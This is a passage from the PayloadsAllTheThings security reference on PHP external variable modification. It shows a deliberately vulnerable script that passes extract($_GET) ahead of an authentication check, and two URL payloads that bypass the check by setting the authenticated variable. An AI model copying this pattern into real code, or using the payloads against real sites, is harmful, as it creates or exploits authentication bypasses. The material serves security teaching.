If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
<?php
$authenticated = false;
extract($_GET);
if ($authenticated) {
echo "Access granted!";
} else {
echo "Access denied!";
}
?>**Exploitation:** In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1Source: External Variable Modification/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.